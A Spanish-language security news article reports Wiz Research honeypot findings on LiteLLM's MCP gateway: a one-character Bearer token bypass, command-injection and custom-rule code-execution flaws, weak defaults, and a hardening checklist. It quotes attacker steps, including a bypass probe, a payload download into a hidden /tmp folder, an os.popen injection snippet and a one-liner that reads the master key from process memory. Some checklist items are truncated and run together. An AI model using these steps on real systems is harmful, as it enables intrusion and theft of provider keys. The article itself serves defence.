Cómo un token portador de un solo carácter abrió la pasarela MCP de LiteLLM
Los honeypots capturaron a los atacantes que abusaban de una omisión en la autenticación MCP de LiteLLM y de una falla en la ejecución de código. Aquí se muestra la cadena de ataque y una lista de verificación de seis pasos para reforzarla.
Fuentes: A One-Character Bearer Token Was Enough to Break Into LiteLLM’s MCP Gateway
Durante un período de 90 días, Wiz Research operó servidores señuelo basados en herramientas de IA reales, como LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, OpenWebUI y Node-RED, y registró quién intentaba acceder. Realmente hubo atacantes. El hallazgo principal no fue un día cero, sino un error en el manejo de excepciones del protocolo Model Context Protocol (MCP) de LiteLLM, que interpretaba “No reconozco este token” como “Este token está bien”. Un token de tipo Bearer con un solo carácter era suficiente para lograr el acceso. LiteLLM es una pasarela popular que permite a las aplicaciones comunicarse con varios proveedores de modelos a través de un único punto de conexión, por lo que los equipos que la utilizan deberían dedicar diez minutos a esto.
El bypass con un solo carácter
La falla está registrada como CVE-2026-59822. El endpoint MCP de LiteLLM está diseñado para validar un token Bearer antes de permitir el acceso a cada servidor MCP al que esté conectada una organización, como Jira, Slack, bases de datos internas y pipelines CI/CD. En el caso del error, un token que no superó la verificación normal de LiteLLM generó un código 401; el código capturó ese error y devolvió un objeto de autenticación vacío. Un objeto vacío no significa denegación, sino que indica que la autenticación se realizó como “nadie” en particular, y la capa MCP lo aceptó.
La solicitud que enviaron los atacantes era tan pequeña como es posible:
# this is roughly what attackers were sending
curl -H "Authorization: Bearer a" https://your-litellm-host/v1/models
Si la respuesta contenía un encabezado mcp-session-id, la sesión estaba abierta, con acceso a todas las herramientas MCP a las que podía acceder el proxy y sin credenciales válidas. Los honeypots registraron las pruebas en tiempo real, y el CVE pasó a formar parte de la lista de Vulnerabilidades Conocidas y Aprovechadas por CISA.
De sesión abierta a minero de criptomonedas
Una sesión MCP abierta ya era suficientemente problemática por sí sola, pero los atacantes la combinaron con otros métodos. Wiz documentó cómo este bypass conducía al CVE-2026-42271, un error de inyección de comandos en los puntos finales de prueba y configuración de MCP, donde una configuración del servidor maliciosa provocaba la ejecución de subprocesos inseguros. La metodología era sencilla: registrar una configuración MCP falsa, hacer que esta descargue y ejecute un minero de criptomonedas, y luego eliminar el directorio temporal para que un simple comando ls no mostrara nada. Un paso típico de descarga se veía así:
python3 -c "import urllib.request; urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')"
Parte de estas actividades está relacionada con el grupo de ransomware Qilin. Los hábitos de evasión son más importantes que los números CVE. Los mineros se colocaron en /tmp/.dbus-cache/, los archivos binarios recibieron nuevos nombres como unicorn, y en una campaña el payload se guardó en /app/data/.claude/, una carpeta estructurada para imitar un directorio de configuración de Claude Code, de modo que pareciera un herramienta habitual y no una intrusión.
Un segundo error: ejecución de código fuera de los límites permitidos
LiteLLM presentaba un problema separado, igualmente grave, CVE-2026-59821, en las reglas personalizadas. Esa función permite a los administradores cargar fragmentos de código en Python que inspeccionan las solicitudes entrantes. El punto de conexión para la carga compilaba y ejecutaba el fragmento mediante exec(compile(...)), dejando intacto __builtins__ y permitiendo cualquier importación. Por lo tanto, una sesión de administrador, o una no autenticada como se describe a continuación, podría registrar una regla personalizada falsa como esta:
import os
_cmd = os.popen('id').read().strip()
y recibir la salida del comando de nuevo dentro del campo block-reason de una respuesta posterior. La versión 1.82.0 lo soluciona al exigir el rol de administrador en los endpoints guardrail y al eliminar __builtins__ antes de la compilación. En una versión anterior, es urgente aplicar el parche, ya que el próximo problema empeorará las cosas.
La configuración por defecto que lo hizo funcional
El detalle que convierte esto en un incidente y no en una actualización rutinaria es que, al no haberse establecido ninguna clave maestra, LiteLLM solía tratar a cada llamante como PROXY_ADMIN. No se trataba de un acceso de solo lectura ni limitado en alcance; era un acceso administrativo completo, incluido el endpoint de controles, y muchas implementaciones nunca establecieron ninguna clave. Cuando los investigadores escanearon las instancias públicas, aproximadamente una de cada diez (9.6% de 3,074) seguía utilizando la clave predeterminada sk-1234 o no verificaba nada en absoluto. Sumado al bypass de MCP y al error en la ejecución de los controles, existían varias vías independientes y sencillas para acceder a una misma máquina.
Búsqueda de memoria, no de archivos
Wiz denomina a este proceso posterior “post-exploitation nativo de IA”, y la parte específica de la IA es lo que buscaban los atacantes una vez obtenido un shell. Se enfocaban en la memoria del proceso en ejecución, no en los archivos del disco:
python3 -c "import litellm; import litellm.proxy.proxy_server as ps; print('master_key:', getattr(ps, 'master_key', None))"
Esa única línea lee la clave maestra del proxy directamente de la memoria, sin necesidad de acceder al disco. A partir de ahí, los intrusos enumeraron rutas de configuración como /app/litellm_config.yaml y ~/.litellm/config.yaml, determinaron qué modelos backend estaban conectados y eligieron objetivos según lo que el proxy podía alcanzar. Una pasarela como esta es un premio mucho más valioso que un servidor de aplicaciones ordinario. La telemetría de Wiz mostró que un proxy suele conservar claves activas para OpenAI, Anthropic, Azure OpenAI y Gemini al mismo tiempo, por lo que una sola lectura de memoria revela información sobre cuatro proveedores.
Lista de verificación en lugar de números CVE
- Verifique la versión. LiteLLM 1.84.0 o posterior corrige el problema de evasión del MCP, y 1.82.0 o posterior corrige el error en la ejecución de las medidas de seguridad. Si está desactualizado en ambos aspectos, planifique dedicar una tarde a la actualización.
sk-1234 ni estar vacía. Ejecute echo $LITELLM_MASTER_KEY y asegúrese de que no sea el valor predeterminado del tutorial pegado hace tiempo.PROXY_ADMIN. Después de aplicar el parche, el rol predeterminado pasa a ser INTERNAL_USER, pero las implementaciones existentes no se degradan automáticamente, por lo que revise manualmente las asignaciones de roles.curl o python3 -c, más que en los registros de acceso habituales.Una pasarela de IA merece ser tratada como un verdadero cofre de credenciales, y no como un proxy práctico que se configura una vez y se olvida. El error de autenticación no era algo excepcional: se trataba de un bloque try/except que absorbía el error incorrecto, y los atacantes ya lo han utilizado en la práctica.
Leer más
- Un segundo cerebro para una IA privada: RAG local con AnythingLLM, Ollama y Obsidian — Configura AnythingLLM y un modelo de embedding en una segunda VM Proxmox para que un Mistral 7B local pueda buscar en tus notas de Obsidian, con cifras reales de recursos.
- Aislar un agente de programación y mantener su ventana de contexto ligera — Agrega un entorno aislado tipo Seatbelt o Bubblewrap a un agente y gestiona el contexto mediante archivos de desbordamiento, fragmentos, compactación e inyección tardía compatible con caché de prefijos.